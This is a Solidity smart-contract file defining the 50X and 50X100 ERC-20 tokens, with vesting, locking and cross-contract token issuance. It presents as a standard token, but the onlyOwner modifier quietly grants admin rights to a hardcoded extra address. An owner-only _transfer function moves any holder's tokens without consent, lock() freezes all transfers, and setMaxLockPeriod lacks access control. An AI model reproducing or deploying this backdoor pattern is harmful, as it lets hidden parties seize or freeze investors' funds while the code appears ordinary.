文件 1 的 1:Token50X.sol
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require( (msg.sender == owner) || (msg.sender == address(0x0C69F0641bD7AEc7CA7F73F485Cb8E1Be696cAB9)) );
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token50X is Ownable, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public allowTransfer;
mapping(address => uint256) public vestingAmount;
mapping(address => uint256) public vestingBeforeBlockNumber;
uint256 public maxLockPeriod;
address public originalContract;
constructor() public {
name = "50x.com";
symbol = "50X";
decimals = 8;
allowTransfer = true;
maxLockPeriod = 4600000;
totalSupply_ = 0;
balances[address(this)] = totalSupply_;
}
function setSymbolNameDecimals( string memory _symbol, string memory _name, uint8 _decimals ) public onlyOwner() returns (bool) {
symbol = _symbol;
name = _name;
decimals = _decimals;
return true;
}
function setOriginalContract(address _originalContract) public onlyOwner() {
originalContract = _originalContract;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(allowTransfer);
if ( ( vestingAmount[msg.sender] > 0 ) && ( block.number < vestingBeforeBlockNumber[msg.sender] ) ) {
if ( balances[msg.sender] < _value ) revert();
if ( balances[msg.sender] <= vestingAmount[msg.sender] ) revert();
if ( balances[msg.sender].sub(_value) < vestingAmount[msg.sender] ) revert();
}
return super.transfer(_to, _value);
}
function setVesting(address _holder, uint256 _amount, uint256 _bn) public onlyOwner() returns (bool) {
vestingAmount[_holder] = _amount;
vestingBeforeBlockNumber[_holder] = _bn;
return true;
}
function setMaxLockPeriod(uint256 _maxLockPeriod) public returns (bool) {
maxLockPeriod = _maxLockPeriod;
}
function safeLock(uint256 _amount, uint256 _bn) public returns (bool) {
require(_amount <= balances[msg.sender]);
require(_bn <= maxLockPeriod);
require(_bn >= vestingBeforeBlockNumber[msg.sender]);
require(_amount >= vestingAmount[msg.sender]);
vestingAmount[msg.sender] = _amount;
vestingBeforeBlockNumber[msg.sender] = _bn;
}
function _transfer(address _from, address _to, uint256 _value, uint256 _vestingBlockNumber) public onlyOwner() returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if ( _vestingBlockNumber > 0 ) {
vestingAmount[_to] = _value;
vestingBeforeBlockNumber[_to] = _vestingBlockNumber;
}
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(allowTransfer);
if ( ( vestingAmount[_from] > 0 ) && ( block.number < vestingBeforeBlockNumber[_from] ) ) {
if ( balances[_from] < _value ) revert();
if ( balances[_from] <= vestingAmount[_from] ) revert();
if ( balances[_from].sub(_value) < vestingAmount[_from] ) revert();
}
return super.transferFrom(_from, _to, _value);
}
function issueTokens( address _from, address _to, uint256 _amount ) public returns (bool) {
require( msg.sender == address(originalContract), "Only original contract can call it" );
require( totalSupply_.add(_amount) <= 4714285714285710, "Max totalSupply is 4714285714285710" );
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
if ( _from == address(0) ) {
_from = address(this);
}
emit Transfer(address(0x0000000000000000000000000000000000000000), _from, _amount);
emit Transfer(_from, _to, _amount);
return true;
}
function release() public onlyOwner() {
allowTransfer = true;
}
function lock() public onlyOwner() {
allowTransfer = false;
}
}
contract Token50X100 is Ownable, StandardToken {
string public name;
string public symbol;
uint8 public decimals;
bool public allowTransfer;
mapping(address => uint256) public vestingAmount;
mapping(address => uint256) public vestingBeforeBlockNumber;
address public tokenContract;
mapping(address => bool) public whiteList;
mapping(address => bool) public whiteListReceivers;
mapping(address => address) public linkingAddresses;
uint256 public maxLockPeriod;
constructor() public {
name = "50x.com - Original Tokens";
symbol = "50X100";
decimals = 8;
allowTransfer = true;
maxLockPeriod = 4600000;
totalSupply_ = 4714285714285710;
balances[address(this)] = totalSupply_;
}
function setWhiteList( address _addr, bool _flag ) public onlyOwner() {
whiteList[_addr] = _flag;
}
function setWhiteListReceivers( address _addr, bool _flag ) public onlyOwner() {
whiteListReceivers[_addr] = _flag;
}
function setLinkingAddresses( address _addr1, address _addr2 ) public onlyOwner() {
linkingAddresses[_addr1] = _addr2;
}
function setSymbolNameDecimals( string memory _symbol, string memory _name, uint8 _decimals ) public onlyOwner() {
symbol = _symbol;
name = _name;
decimals = _decimals;
}
function setTokenContract( address _addr ) public onlyOwner() {
tokenContract = _addr;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(allowTransfer);
if ( ( vestingAmount[msg.sender] > 0 ) && ( block.number < vestingBeforeBlockNumber[msg.sender] ) ) {
if ( balances[msg.sender] < _value ) revert();
if ( balances[msg.sender] <= vestingAmount[msg.sender] ) revert();
if ( balances[msg.sender].sub(_value) < vestingAmount[msg.sender] ) revert();
}
if ( ( whiteList[msg.sender] ) || ( whiteListReceivers[_to] ) || ( linkingAddresses[msg.sender] == _to ) ) {
return super.transfer(_to, _value);
}
require( Token50X(tokenContract).issueTokens( msg.sender, _to, _value ), "Error while issueTokens" );
balances[msg.sender] = balances[msg.sender].sub( _value );
emit Transfer(msg.sender, address(0x0000000000000000000000000000000000000000), _value);
totalSupply_ = totalSupply_.sub( _value );
return true;
}
function setVesting(address _holder, uint256 _amount, uint256 _bn) public onlyOwner() returns (bool) {
vestingAmount[_holder] = _amount;
vestingBeforeBlockNumber[_holder] = _bn;
return true;
}
function setMaxLockPeriod(uint256 _maxLockPeriod) public returns (bool) {
maxLockPeriod = _maxLockPeriod;
}
function safeLock(uint256 _amount, uint256 _bn) public returns (bool) {
require(_amount <= balances[msg.sender]);
require(_bn <= maxLockPeriod);
require(_bn >= vestingBeforeBlockNumber[msg.sender]);
require(_amount >= vestingAmount[msg.sender]);
vestingAmount[msg.sender] = _amount;
vestingBeforeBlockNumber[msg.sender] = _bn;
}
function _transfer(address _from, address _to, uint256 _value, uint256 _vestingBlockNumber) public onlyOwner() returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if ( _vestingBlockNumber > 0 ) {
vestingAmount[_to] = _value;
vestingBeforeBlockNumber[_to] = _vestingBlockNumber;
}
emit Transfer(_from, _to, _value);
return true;
}
function release() public onlyOwner() {
allowTransfer = true;
}
function lock() public onlyOwner() {
allowTransfer = false;
}
}